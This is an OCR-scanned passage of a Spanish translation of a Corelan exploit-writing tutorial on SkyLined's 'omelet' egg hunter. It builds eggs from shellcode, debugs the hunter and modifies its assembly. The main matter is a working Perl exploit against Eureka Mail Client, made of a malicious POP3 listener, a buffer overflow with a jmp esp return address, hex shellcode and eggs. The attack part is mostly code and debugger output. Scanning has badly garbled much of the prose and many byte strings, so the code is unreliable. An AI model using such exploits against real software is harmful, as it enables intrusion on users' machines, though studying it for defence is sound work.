- Un ndmero de indice.
- 3 bytes del marcador (utilizados para detectauel/o).
El cazador de huevos o Shellcode tortilla tamliéhe saber cual es el
tamafo de los huevos, cuantos huevos habra, yscsale los 3 bytes
(etiqueta o marcador) que identifica un huevo.
Cuando se ejecuta el codigo tortilla, buscardaees de la memoria, todos
los huevos, y reproducird la shellcode originaltdande romperse en
pedazos) en la parte inferior de la pila. Cuandbas@ completado, salta a
la Shellcode reproducida y la ejecuta. El codigdilt® escrito por
SkyLined inyecta manejadores SEH personalizados fdeatar con
violaciones de acceso (Access Violations) al laenémoria.
Por suerte, SkyLined escribié un conjunto de sengara automatizar todo
el proceso de descomposicion de la Shellcode emepeg huevos y
producir el cédigo tortilla.

Descarga los scripts aqui:

http://code.google.com/p/w32-seh-omelet-shellconerdoads/list

El zip trae el archivo que contiene el cazadoratglla en NASM y un
script en Python para crear los huevos. Si no siema copia de NASM,
puedes obtener una copia aqui:

http://www.nasm.us/pub/nasm/releasebuilds/
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He descomprimido el paquete de codigo tortilla atortilla. NASM se
instala en "C:\Archivos de programa\nasm".

Compila el archivo NASM a un archivo binario:

C:\omelet>" c:\program files\nasm\nasm.exe " -f bin

-0 w32_omelet.bin w32_SEH_omelet.asm -w+error

Solo es necesario hacerlo una vez. Cuando tengaxclalvo, lo podras
utilizar para todos los exploits.

¢, Como implementar el cazador de huevos de tortilla?

1. Crea un archivo que contenga la Shellcode que sas ejecutar al
final. He usado "shellcode.bin."

Puedes usar un script como este para generar l@v@rshellcode.bin.
Basta con sustituir el $shellcode con tu propiallSbde y ejecutar el
script. En mi ejemplo, esta shellcode ejecutaré esd):

$scfile=" shellcode.bin
$shellcode=" \x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x4

" \x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x3
" \x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x3
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x4
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4
" \x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x4 7\x3
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x4 7\x50\x43\x3
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x4
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x5
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x5
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x5
" \x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x3
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x5
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x3
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4\x4d\x37\x42\x4
"\x31\x42\x4c\x42\x43\x45\x50\x41\x4 1

(FILE," >$scfile ™)
FILE $shellcode;
(FILE);
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($shellcode)." bytes to file ".$scfile." \n "

Ejecuta el script. El archivo Shellcode.bin corgiemhora la Shellcode
binaria. (Por supuesto, si quieres algo mas quealtabasta con sustituir el
contenido de $shellcode.

2. Convierte la Shellcode en huevos.

Digamos que has descubierto que tenemos un numere@edes de

aproximadamente 130 bytes de espacio de memolos deie disponemos.
Asi que, tenemos que cortar los 303 bytes de ca@ahgdhuevos (+ algo de
sobrecarga, por lo que podria terminar con 3 o dvds). ElI tamafio

maximo de cada huevo es de 127 bytes. Tambiénitegnes un marcador
(6 bytes). Usaremos OxBADAS5 como marcador.

Ejecuta el comando siguiente para crear la Shedtcod

C:\omelet>w32_SEH_omelet.py
Syntax:
w32_SEH_omelet.py " omelet bin file " " shellcode bin file
txt file
[egg size] [marker bytes]

Where:
omelet bin file = The omelet shellcode stage bi nary code followed
by three
bytes of the offsets of the " marker bytes "," max
index "
and " egg size " variables in the code.
shellcode bin file = The shellcode binary code you want to have
stored in
the eggs and reconstructed by the omelet
shellcode stage
code.
output txt file = The file you want the omelet egg-hunt code and
the eggs
to be written to (in text ).
egg size = The size of egg (legal 1 6-127,
default: 127)
marker bytes = The you want to as a marker to
distinguish the
eggs from other data in user- land address space
(legal

: 0-OXFFFFFF, default : 0x280876)

En nuestro caso, el comando podria ser:

C:\omelet>w32_SEH_omelet.py w32_omelet.bin shellcod e.bin calceggs.txt

127 OxBADAS5
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Abre el archivo recién creado calceggs.txt.

Contiene el cddigo del cazador de huevos de todilie debe ser ejecutado
y cazard los huevos que deben ser colocados emlalggr de la memoria.

|=] calceggs.txt |E corelan_eurekasploitd. pl |

1 /¢ Thiz iz the binary code that needs to he executed to find the eggs,

& // recombine the orignal shellcode and execute it. It is 85 bytes:

3 omelet_code =
"IV RFFYXEBY X230 k51 X 64 18 20 xFCY xBOVRTAY XF 20 xAEY x50% x89% xFEV R ADY X35\ xFF v x 55 xDAN ®BAY XE3N
XFEY x0T ROC BV HF TV xESY x 644 w035 X442 w08\ k9T xF 3\ A X8 xF 7 X3 1 xCO0W w644 ®EE 208\ x589\ xCCh x5
O RGN RFO XFF Y xFFy xFFy kPR 7V HF S xS REBVRC TV KF P XFFV XFFy x 810 xS0 R6 6 18 58 v x 6 64 x0DY xFFy xOFY
w30 278 w06, x99 xEQ xDEY xFFY xFF\ xFFY 23 1% 2 CO% 644 xFF, x50% x08";

// These are the eggs that need to he injected into the target process

/f for the owelet shellcode to be able to recreate the original shellcode

f¢ (wou can insert themw as many tiwes as you want, ag long a2 each one is

/¢ inserted at least once). They are 127 bytes each:

eggld =

Ty TAN HFFL R EEY DAY xBAY xEDV HEZY kDAY kO xDON K2 HF A 5B w500 X 5D x40 400 0% A 0h A3 g3 w a3 xd3N

HA3 A3 1Y HEAY X 56 w5 w58 k33N 30 5N H 5B 32 1Y w50 w30 w2 1Y 33 A SN wdEh w30 21 X304 «30h wd

T2 31y g1 222 w5 wd 1 w21 518 325 31, a2 K320 X242 w22 w30 22, 228 k558 50 138N X2 1% w23 wddh

ALY N9 B O WA wASY xS0 k2 A w A3 kI 0N A3 HI0N A5 50N X ACh XABY w2 w35 AT 1A HACh H4EY wd3h xd

T3 M35 HA3h A5 wA5 xS 1 wd ATy A B, 504 HAF Y 42 w38 xACh kAR x5 1% A F AT 50 43 w3 1 wd Lt

*4EY 2514 259 x40 x 2By w46 w54 k20 x4 By 3"

10 eggl =
Ty TAY HFEY 55 HDAY wBAY xI 1 x Al 2B x50 23 10 X494 50 XA Ch x5O HAEY 220 20 At A0 50 A3 xddh w43
I T A9 w51 A0 wEAY a4 wADY w23 w3 1Y A0 w520 A A BN w2t x5 A X a7 wdBY w51 wddh w2 6 w3 dh w A3 134 g
2% 55, HaEY 55 H2Ch ®4BY x5 1 xAF, x5 1% 345 45, 15 1Y A 2B w42 wd 6t k2 Ch 2B 34N a0 1504 4B xdCh x 4B
X510 AFy 5 A 25, w51 x A x 2By A0 xdE 35 A x3Ch x 2By ¥ 45 w51 k2 Ay xd By 4D K59 x51h 20 12T x5
4 3 K34 A5, A3 X5 HAF Y xd A, x5 1% Ay w46 X3 X500 X500 HE6Y X A5 k34, w2 Ch xAEy AT X3 6 X500 k30N xdCh
4B x 51 X504 xddh A Ch w4 Ch xdBYy k24 k305 k45"

11 eggs =

T TAY HFDY XS5 DAY wBAY xACh HAE, 2D 30 4B, A5 X3S X230 nIS HAB k3D A AN 55N A0 A3 40 x50 w42

w3 x50 wE0% w22 148 wACh k30N w A0 x5 A3 w34 51 AF w25, k38 XA x3 8N 4B w4EY k4D 54N w3 HAEY wd

B4 3T B, HAF Y 2 ADY w3 T A2 w23 25N 31N A2 A K2 K23 wA5Y w50 k2 1 2 1 0N A0 30N Xd0h 120 x40h

0% 0% XA0Y 0% x20% 220 x A0 x20Y 205 0% x30% xA0h x30% x20% x40% 2200 x20% 205 304 2304 304 2 20% x20% x4

O 0% 30y 30 40% €20% xd0% 2200 w20 30 408 230% 140% 20% x20% x40% x 20 w20 305 304 230h x40% x20% x40

w0 0y A0y x40 w20 w40 x A0 x40 w20 w20

Wmom -1 o

Si miras los huevos mas de cerca, veras que:

- Los primeros 5 bytes contienen el tamafio (0x7822), indice (OXFF -
OXFE - OxFD), y el marcador (0 x 55,0 XDA, Oxba 9xBADA55).
122 + la cabecera de 5 bytes = 127 bytes

- Los siguientes bytes en el huevo se toman deh&dic®de original de
nuestro payload calc.exe.

- En el dltimo huevo, el espacio que queda senalt®n 0x40.
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3. Construye el exploit.

Vamos a probar este concepto en nuestro exploEuwleka Mail Client.
Vamos a poner un poco de basura entre los huevasspaular que los
huevos fueron colocados en lugares al azar en raonne

Socket;

#fill out the IP or hostname
#which is used by Eureka EMail as
#note : must be exact match !

$localserver =" 192.168.0.193 ;
#calculate to EIP

$junk =" A" x (723 - ($localserver));

$ret= ('V',0x7TE47BCAF); #jmp esp from user32.dll

$padding=" \x90 " x 1000;

$omelet_code ="
"\XAE\X50\x89\XFE\XAD\x35\xFF\x55\xDA\XxBA\x83\xF8\x0
"\XF7\XE9\x64\x03\x42\x08\x97\xF3\xA4\x89\xF7\x31\xC
"\x89\XxCC\x59\x81\xFO\XxFF\xFF\xFF\xFF\x75\xF5\x5A\XE
" \XFF\x61\x8D\x66\x18\x58\x66\Xx0D\xFF\xOF\x40\x78\x0
" \XFF\xFF\xFF\x31\xC0\x64\xFF\x50\x08 "

3 server

$eggl ="
"\x59\x49\x49\x49\x49\x43\x4 3\x43\x43\x43\x43\x51\x5

" \X30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x4

" \X41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x4

" \x50\x38\x41\x43\x4A\x4A\x49\x4B\x4C\x4 A\x48\x50\x4

" \x45\x50\x4C\x4B\x4 7\x35\x4 7\x4C\x4C\x4B\x43\x4C\x4

" \X51\x4A\x4 F\x4C\x4B\x50\x4F\x42\x38\x4C\x4B\x51\x4

" \X4A\X4B\x51\x59\x4 C\x4B\x46\x54\x4C\x4B\x43 "

$egg2 ="
"\Xx4E\x4C\x4C\x44\x49\x50\x4 3\x44\x43\x37\x49\x51\x4

" \X31\x49\x52\x4 A\x4B\x4A\Xx54\x4 7\x4B\x51\x44\x46\x4

" \x4B\x55\x4C\x4B\x51\x4F\x51\x34\x45\x51\x4 A\x4 B\x4
" \x4C\x50\x4B\x4C\x4B\x51\x4F\x45\x4C\x45\x51\x4A\x4
" \x4C\x4B\x45\x51\x4A\x4B\x4D\x59\x51\x4C\x4 7\x54\x4

" \X4F\x46\x51\x4B\x46\x43\x50\x50\x56\x45\x34\x4C\x4

: \x4C\x4B\x51\x50\x44\x4C\x4C\x4B\x44\x30\x45 "

$egg3 ="
"\x4B\x39\x4A\x58\x4C\x43\x49\x50\x42\x4A\x50\x50\x4

: \X5A\x43\x34\x51\x4F\x45\x38\x4A\x38\x4B\x4E\x4D\x5

\X7A\XFF\x55\XxDA\XBA\X89\XE2\XDA\XC1\xD9\x72\xF4\x5

\X7A\XFE\X55\xDA\XBA\X31\x4A\x4E\x50\x31\x49\x50\x4

\Xx7A\XFD\x55\xDA\XBA\x4C\x4 E\x4D\x4 C\x4B\x45\x38\x4

\X31\XFF\XEB\x23\x51\x64\x89\x20\xFC\xBO\x7A\xF2

3\x77\x0C\x59
0\x64\x8B\x08
8\xC7\xFF\xFF
6\x97\xE9\xD8

8\x50

A\x56\x54\x58\x33

1\x30\x30\x41\x42

PAVE 0V GYAVEVAVGY:]

4\x43\x30\x43\x30

3\x35\x43\x48\x45

F\x47\x50\x43\x31

C\x59 ".
9\x5A\x44\x4D\x43

4\x43\x34\x42\x55

2\x46\x4C\x4B\x44

B\x4C\x4B\x45\x4C

3\x34\x48\x43\x51

B\x47\x36\x50\x30

3\x38 ".
2\x48\x4C\x30\x4D

A\X44\x4E\x46\x37




Creacién de Exploits 8: Caceria de Huevos en Win3ir corelanc0d3r
traducido por lvinson/CLS

RV ISV RV IDIVEFAVE VAV AV IAVEHAVE AV GV AVE RV 5\x50\x41\x41\x40

" \Xx40\x40\x40\X40\X40\X40\XA0\X 40\ 40\ 40\ 40\X 40\ 0\X40\X40\x40\x40

" \x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x4 0\x40\x40\x40\x40

" \x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x4 0\x40\x40\x40\x40

" \x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40

$garbage=" This is a bunch of garbage " x 10;

$payload=$junk.$ret.somelet_code.$padding.$eggl.$ga rbage.$egg2.$garbag
e.$egg3;

" Payload : ($payload)." bytes\n *;

" Omelet code : " ($omelet_code)." bytes\n *;
Egg 1: " ($eggl)." bytes\n
Egg 2: " ($egg2)." bytes\n
Egg 3: " ($eggl3)." bytes\n "

#set up listener on port 110
$port=110;
$proto= ('tcpY);
(SERVER,PF_INET,SOCK_STREAM,$proto);
$paddr=sockaddr_in($port,INADDR_ANY);
(SERVER,$paddr);
(SERVER,SOMAXCONN);
" [+] Listening on tcp port 110 [POP3]... \n ;
" [+] Configure Eureka Mail Client to connect to this host \n
$client_addr;
while($client_addr= (CLIENT,SERVER))
{
" [+] Client connected, sending evil payload\n
while(1)
{
CLIENT " -ERR ".$payload." \n";
->Sent " ($payload)." bytes\n

CLIENT;
" [+] Connection closed\n

Ejecuta el script:

C:\sploits\eureka>perl corelan_eurekasploit4.pl
Payload : 2700 bytes
Omelet code : 85 bytes

Egg 1 : 127 bytes

Egg 2 : 127 bytes
Egg 3: 127 bytes
[+] Listening on tcp port 110 [ .
[+] Configure Eureka Mail Client to to this host

Resultado: Access Violation when reading [00000000]
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S:[ESI]
FFEEOAER

DEE?D FTR FZ:[EDR+E]
LED
BYTE FTR ES:[EDI],EBYTE FTR D5:

Comren t

aut i

d L]
HE @& 1 g 2], d Shift constant

Ibp 0x7EA7BCAF
[19:45:22] dcoess violation when reading [Q0000000] - use Shift+F7 /F8/F9 to pass exception to program

Al mirar mas de cerca el cédigo, vemos que la pmamastruccion del
codigo tortilla pone 00000000 en EDI (\x31 \xFFX©R EDI, EDI).
Cuando se empieza a leer en esa direccion, nos Uag violacion de
acceso. A pesar de que el codigo utiliza la inyetde SEH personalizada
para manejar violaciones de acceso, ésta no fuejatiny el exploit falla.

Pon un BP en JMP ESP (Ox7E47BCAF) y ejecuta elogxgé nuevo.

iToma nota de los registros cuando se haga ela&©P!:

J Registers (FPU)

I ntdll. FE2106E50

OK, vamos a solucionar esto. Comienza buscandohie=s/os en la
memoria. Después de todo, tal vez podamos poreedotccion inicial en
EDI (que no sea cero), basado en uno de estosrosgysel lugar donde se
encuentran los huevos, permitiendo que el codigailléao funcione
correctamente.
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Primero, escribe los 3 huevos en archivos (agragaifuientes lineas de
codigo en el exploit, antes de que el escuchai(es) sea establecido):

(FILE," >c:\\tmp\\eggl.bin
FILE $eggl;
(FILE);

(FILE," >c:\\tmp\\egg2.bin
FILE $egg2;
(FILE);

(FILE," >c:\\tmp\\egg3.bin
FILE $egg3;
(FILE);

En el BP de JMP ESP, ejecuta los siguientes consando

Ipvefindaddr compare c:\tmp\eggl.bin

rom File with
at Lo i

= unmod i F
at i

> ynmod i F
at i

o

Q474 3F 4
A4 7SEAE
31 2DEEA
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OK. Asi que, los 3 huevos estan en la memoria, gstén dafiados.

Mira las direcciones. Una copia se encuentra epiléa(0 x 0012?7??7).
Otras copias estan en otra parte de la memoria0@Pa???). Cuando
miramos hacia atras en los registros, teniendouenta que necesitamos
encontrar un registro que sea confiable, y colocantes de los huevos,
observamos lo siguiente:

EAX 00000000
ECX 7C91005D ntdIl.7C91005D
EDX 00140608

ESP 0012CD6C
EBP 00475BFC Eureka_E.00475BFC
ESI 00475BF8 Eureka_E.00475BF8
ASCIl " AAAAAAAAAAAAA

EIP 0012CD6C
C 0 ES 0023 32bit O(FFFFFFFF)
P 0 CS 001B 32bit O(FFFFFFFF)
A 0 SS 0023 32bit O(FFFFFFFF)
Z 0 DS 0023 32bit O(FFFFFFFF)
S 0 FS 003B 32bit 7FFDFO00(FFF)
T O GS 0000 NULL
DO
O 0 LastErr ERROR_INVALID_WINDOW_HANDLE (00000578)
EFL 00000202 (NO,NB,NE,A,NS,PO,GE,G)
STO empty -UNORM FB18 00000202 0000001B
ST1 empty -UNORM B7FC 00000000 F894BBDO
ST2 empty -UNORM A70E 06D90000 0120027F
ST3 empty +UNORM 1F80 00400000 BF8131CE
ST4 empty %#.19L
ST5 empty -UNORM CCB4 00000286 0000001B
ST6 empty 9.5000000000000000000
ST7 empty 19.000000000000000000

3210 ESPUOZDI
FST 0120 Cond0001 Err00100000 (LT)
FCW 027F Prec NEAR,53 Mask 111111

EBX puede ser una buena opcién. Pero EDI es inalusjor porque ya
tiene una buena direccion que esta antes de lo®$wESsto significa que
necesitamos dejar el valor actual de EDI (en ludg@rlimpiarlo) para
cambiar la posicion del cazador de tortilla.

Solucion rapida: sustituye el XOR EDI, EDI, con OR's.
El cddigo tortilla ha cambiado en el exploit ahpres el siguiente:

$omelet_code =" \ \XEB\X23\x51\x64\x89\x20\xFC\xBO\x7 A\xF2
"\XAE\x50\x89\xFE\XxAD\x35\xFF\x55\xDA\XxBA\x83\xF8\x0 3\x77\x0C\x59
"\XF7\XE9\x64\x03\x42\x08\x97\xF3\xA4\x89\xF7\x31\xC 0\x64\x8B\x08

"\X89\XCC\x59\x81\xFO\XFF\xFF\XxFF\xFF\x75\x F5\x5A\XE 8\XC7\xFF\xFF
"\XFF\x61\x8D\x66\x18\x58\x66\x0D\xFF\xOF\x40\x78\x0 6\x97\xE9\xD8
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"\XFF\xFF\xFF\x31\xC0\x64\xFF\x50\x08 "

Ejecuta el exploit de nuevo, (Eureka attachado mumty Debugger, y
con un BP en JMP ESP otra vez). La aplicacién paral BP, presiona F7
para empezar a trazar. Deberias ver el cédigdlaaricial (con 2 NOP’s
esta vez), y la instruccion "REPNE SCAS BYTE PTR: BEDI]"
continuara funcionando hasta que el huevo sea tadon

Basado en el resultado de otro comando:
IPvefindaddr compare c:\ tmp\eggl.bin

Deberiamos encontrar el huevo en 0x00473C5C.

2. Etiqueta encontrada.
Va a la siguiente instruccion.

1. Busca la etiqueta.

Cuando se encuentra la primera etiqueta (y edceatd como correcta), se
calcula una ubicacion en la pila (0x00126000 ercaso), al igual que la
Shellcode después de que la etiqueta se copiaaarbemcion. ECX ahora
se utiliza como un contador (cuenta regresiva gd)lo que solo la

Shellcode se copia y la tortilla puede continuanclo ECX llega a O.
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CEDI1,BYTE PTR

LERX]

Comren t

e el e el Faa TR R Fon B B B

[T 00 00 00 00— 0 0 M 0 m

=

Cuando se copia la Shellcode en Eggl (y podemds Wasura después de
Eggl), el codigo tortilla continlia su busquedaaegpdrte 2.

U isassenb ly
P

Este proceso se repite hasta que todos los hu@ars encuentrados y
escritos en la pila. En lugar de detener la busgueldcodigo tortilla solo
continta buscando.
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Resultado: nos encontramos con una violacion desacde nuevo:

TE FTR [

TE FPTR [0Z: [EH:

[19:53:30] Access violation when reading [0058 6000 - uze Shift+F 7/FE/FT to paszs ¢

Por lo tanto, sabemos que el codigo tortilla seuwt@e correctamente
(deberiamos poder encontrar toda la Shellcode enelaoria en alguna
parte), pero no se detuvo cuando tenia que haceérdoprimer lugar,
comprueba que la Shellcode en la memoria es dehaehcopia exacta de
la Shellcode original.

Todavia tenemos el archivo shellcode.bin que sé ardes (cuando se
construyo el codigo tortilla). Copia el archivo entmp y ejecuta este
comando en Immunity Debugger:

Ipvefindaddr compare c:\tmp\shellcode.bin
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OK. Toda la Shellcode sin modificar se encuentr®00126000. Eso es
genial, porque demuestra que la tortilla funcioménb Simplemente no
dej6é de buscar, tropezo al final, cayo y murio.

jRayos!

Arreglando el Codigo Tortilla.
Bienvenida sea la tortilla de CorelancOd3r

Puesto que los huevos estan en el orden correcta memoria, tal vez
con una ligera modificacion del cédigo tortilladamnos hacerlo funcionar.

¢, Qué tal si usamos uno de los registros para aealiz seguimiento del
namero restante de huevos a encontrar, y hacebda salte a la
Shellcode cuando este registro indiqgue que todsshlaevos se han
encontrado?

Vamos a darle una oportunidad (aunque yo no sogran experto en
ASM, me siento con suerte ho®.

Tenemos que empezar el cadigo tortilla con la edeade un valor inicial
gue se utilice para obtener el nimero de huevasngracios: O - el niumero
de huevos o OxFFFFFFFF - nimero de huevos + ll@mure si tenemos 3
huevos, vamos a utilizar FFFFFFFD). Después derralraddigo tortilla
(en el depurador), me he dado cuenta de que EB3¥endiliza. Asi que,
vamos a almacenar este valor en EBX.

A continuacion, lo que haré que el cédigo tortiléaya es lo siguiente: cada
vez que encuentre un huevo, incremente este valoruono. Cuando el
valor es FFFFFFFF, todos los huevos se han endontpara que podamos
dar el salto.

El Opcode para poner OXFFFFFFFD en EBX es \xbdb \%ff \xff \xff.
Asi que, vamos a tener que iniciar el cédigo tartbn esta instruccion.

Entonces, después de que la Shellcode de un hustesmihado sea
copiada en la pila, tendremos que verificar si lemsto todos los huevos
0 no. Asi que, vamos a comparar EBX con FFFFFFFBo1Slos mismos,

podremos saltar a la Shellcode. No es asi, increem@anos EBX.
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La copia de la Shellcode en la pila se realizaagés de la siguiente
instruccion: F3:A4. Por lo que, la verificacion liecremento deben ser
colocados justo después.

Inmediatamente después de esta instruccion, insema la comparacion,
JE “Jump if equal”, o sea “Salta si es igual’, HCIEBX" (\x43).

Vamos a modificar el codigo maestro en ASM:

BITS 32

» €90:

; LL I M1 M2 M3 DD DD DD ... (LL * DD)

; LL == Size of eggs (same for all eggs)

; Il == Index of egg (different for each egg)

; M1,M2,M3 == Marker byte (same for all eggs)
; DD == Data in egg (different for each egg)

; Original code by skylined

; Code tweaked by Peter Van Eeckhoutte
; peter.ve[at]corelan.be

; http://www.corelan.be:8800

marker equ 0x280876
egg_size equ 0x3
max_index equ 0x2
start:

jmp  SHORT reset_stack

create_ SEH_handler:

PUSH ECX ; SEH_frames[0].n extframe ==
OXFFFFFFFF

MOV [FS:EAX], ESP ; SEH_chain -> SE H_frames|[0]

CLD ; SCAN memory upw ards from O
scan_loop:

MOV AL, egg_size ; EAX = egg_size
egg_size location equ $-1 - $$

REPNE SCASB ; Encuentra el pr imer byte.

PUSH EAX ; Guarda egg_size .

MOV  ESI, EDI

LODSD ; EAX =11 M2 M3 M4

XOR EAX, (marker 8) + OXFF ; EDX = (Il M2 M3 M4) ~ (FF M2 M3
M4)

;== egg_index

marker_bytes_location equ $-3 - $$

CMP EAX, BYTE max_index ; Ve si EDX es max_index max_index_location equ $-1 - $$

JA reset _stack ; No - Este no fue un marcador, contindia el scan
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POP ECX ; ECX = egg_size
IMUL ECX ; EAX = egg_size * egg_index ==

; EDX = 0 porque ECX * EAX is siempre < 0x1,000,0

ADD EAX, [BYTE FS:EDX + 8] ; EDI += Parte i
;posicion del huevo en
XCHG EAX, EDI
copy_loop:
REP MOVSB ; Copia el huevo

MOV  EDI, ESI ; EDI = final del

reset_stack:
; Resetea el Stack para evitar problemas causados p
;recursivos.
XOR EAX, EAX ; EAX=0
MOV  ECX, [FS:EAX] ; EBX = SEH_chain
find_last SEH_loop:
MOV  ESP, ECX ; ESP = SEH_frame
POP ECX ; EBX = SEH_frame
CMP ECX, OXFFFFFFFF ; SEH_frames[X].n
JNE find_last SEH loop ;No"X-=1" ch
POP EDX ; EDX = SEH_frame
CALL create SEH handler ; SEH_frames[0].h
SEH_handler

SEH_handler:
POPA ; ESI = [ESP + 4]
;  struct exce
LEA ESP, [BYTE ESI+0x18] ; ESP = struct ex
>exception_addr
POP EAX ; EAX = exception
OR  AX, OxFFF
INC EAX
JS done ; EAX > OX7FFFFFF
XCHG EAX, EDI ; EDI => next pag
JMP  reset_stack
done:
XOR EAX, EAX ; EAX=0
CALL [BYTE FS:EAX + 8] ; EDI += Bottom o
== posicion del hue

db  marker_bytes location
db  max_index_location
db  egg_size location

egg_offset
(0]0)
nf. del stack ==
la Shellcode.

en la cesta.

huevo.

or manejadores SEH

=> SEH_frames[X]

s[X]

s[X].next_frame
ext_frame == none ?
eck next frame
s[0].handler

andler ==

->
ption_info
ception_info-

F

F + 1 -> next page
F ===> done

e

f stack
vo en la Shellcode.

Puedes descargar el codigo retocado aqui:

corelancO0d3r w32_seh_omelet (ASM)
https://www.corelan.be/?dl_id=55
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Compila el codigo modificado de nuevo, y vuelveeac los huevos:

"C:\Archivos de programa\nasm\nasm.exe"-f bin-o w32 omelet.bin
w32_SEH_corelancOd3r_omelet.asm-w + error

w32_SEH_omelet.py w32_omelet.bin shellcode.bin cafygs.txt 127
OXBADAS5

Copia el cédigo tortilla del archivo calceggs.becién creado y ponlo en el
exploit.

El exploit ahora se ve asi:

Socket;
#fill out the IP or hostname
#which is used by Eureka EMail as 3 server
#note : must be exact match !
$localserver =" 192.168.0.193
#calculate to EIP
$junk =" A"x (723 - ($localserver));
$ret= ('V',0x7E47BCAF); #imp esp from user32.dll
$padding =" \x90 " x 1000;

$omelet_code =" \xbb\xfd\xf\xff\xff ", #put Oxfffffffd in ebx
"\XEB\x2C\x51\x64\x89\x20\xFC\xBO\x7A\xF2\xAE\x50
"\X89\XFE\XAD\x35\xFF\x55\xDA\XBA\x83\xF8\x03\x77
"\x15\X59\xF7\XxE9\x64\x03\x42\x08\x97\xF3\xA4 "

" \X81\XFB\XFF\XFF\xFF\xFF ". # compare EBX with FFFFFFFF
"\x74\x2B ". # EBX is FFFFFFFF, jump to shellcode

"\x43 ". # not, increase EBX and
"\x89\XF7\x31\xC0\x64\x8B\x08\x89\xCC\x59\x81\xF9
"\XFF\XFF\xFF\xFF\x75\xF5\x5A\XE8\xBE\xFF\xFF\xFF
"\x61\x8D\x66\x18\x58\x66\x0OD\xFF\x0F\x40\x78\x06 .

" \X97\XE9\xD8\xFF\xFF\XxFF\x31\xCO0\x64\xFF\x50\x08 "

$eggl ="  \X7AWXFF\X55\xDA\XBAX89\XE2\XDAXC1\XxD9\X72\xF4\x5 8\x50 *".
"\x59\x49\x49\x49\x49\x43\x4 3\x43\x43\x43\x43\x51\x5 A\x56\x54\x58\x33 "

" \X30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x4 1\x30\x30\x41\x42
" AV NAVEVAVGYAVEZ MAVEMAVEHAVE VAV NAVE VAVEVAVE AVY] AVEI VYAV VAVGES]
" \X50\x38\x4 1\x43\x4 A\x4 A\x49\x4B\x4 C\x4 A\x48\x50\x4 AVEZRIVE IV AVED)
" \x45\x50\x4C\x4B\x47\x35\x4 7\x4C\x4C\x4B\x43\x4C\x4 3\x35\x43\x48\x45
" \X51\x4A\x4 F\x4C\x4B\x50\x4F\x42\x38\x4C\x4B\x51\x4 F\x47\x50\x43\x31
" \X4A\X4B\x51\x59\x4 C\x4B\x46\x54\x4C\x4B\x43 "

$egg2 =" \X7AWXFE\X55\XDAXBA\X31\x4A\X4E\x50\x31\x49\x50\x4 C\x59 ".
"\x4E\x4C\x4C\x44\x49\x50\x4 3\x44\x43\x37\x49\x51\x4 9\x5A\x44\x4D\x43

" \x31\x49\x52\x4A\x4B\x4A\x54\x4 7\x4B\x51\x44\x46\x4 4\x43\x34\x42\x55
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" \x4B\x55\x4C\x4B\x51\x4F\x51\x34\x45\x51\x4 A\x4 B\x4 2\x46\x4C\x4B\x44
" \x4C\x50\x4B\x4C\x4B\x51\x4F\x45\x4C\x45\x51\x4A\x4 B\x4C\x4B\x45\x4C
" \x4C\x4B\x45\x51\x4 A\x4B\x4D\x59\x51\x4C\x4 7\x54\x4 3\x34\x48\x43\x51
" \x4F\x46\x51\x4B\x46\x43\x50\x50\x56\x45\x34\x4C\x4 B\x47\x36\x50\x30
" \x4C\x4B\x51\x50\x44\x4C\x4C\x4B\x44\x30\x45 "

$egg3 =" \X7AXXFD\X55\xDA\XBA\x4C\x4E\x4D\x4C\x4B\x45\x38\x4 3\x38 ".
" \x4B\x39\x4A\x58\x4C\x43\x49\x50\x42\x4 A\X50\x50\x4 2\x48\x4C\x30\x4D

" \X5A\x43\x34\x51\x4F\x45\x38\x4 A\x38\x4 B\x4E\x4D\x5 A\X44\x4E\x46\x37
" \Xx4B\x4F\x4D\x37\x42\x43\x45\x31\x42\x4C\x42\x43\x4 5\x50\x41\x41\x40
" \x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x4 0\x40\x40\x40\x40
" \x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x4 0\x40\x40\x40\x40
" \x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x4 0\x40\x40\x40\x40
" \x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40

$garbage=" This is a bunch of garbage " x 10;

$payload=$junk.$ret.somelet_code.$padding.$eggl.$ga rbage.$egg2.$garbag
e.$egg3;
" Payload : ($payload)." bytes\n *;
" Omelet code : . ($omelet_code)." bytes\n *;
" Eggl: " ($eggl)." bytes\n "
" Egg2: " ($egg2)." bytes\n "
" Egg3: . ($eggl3)." bytes\n "

#set up listener on port 110
$port=110;
$proto= ('tcpY);
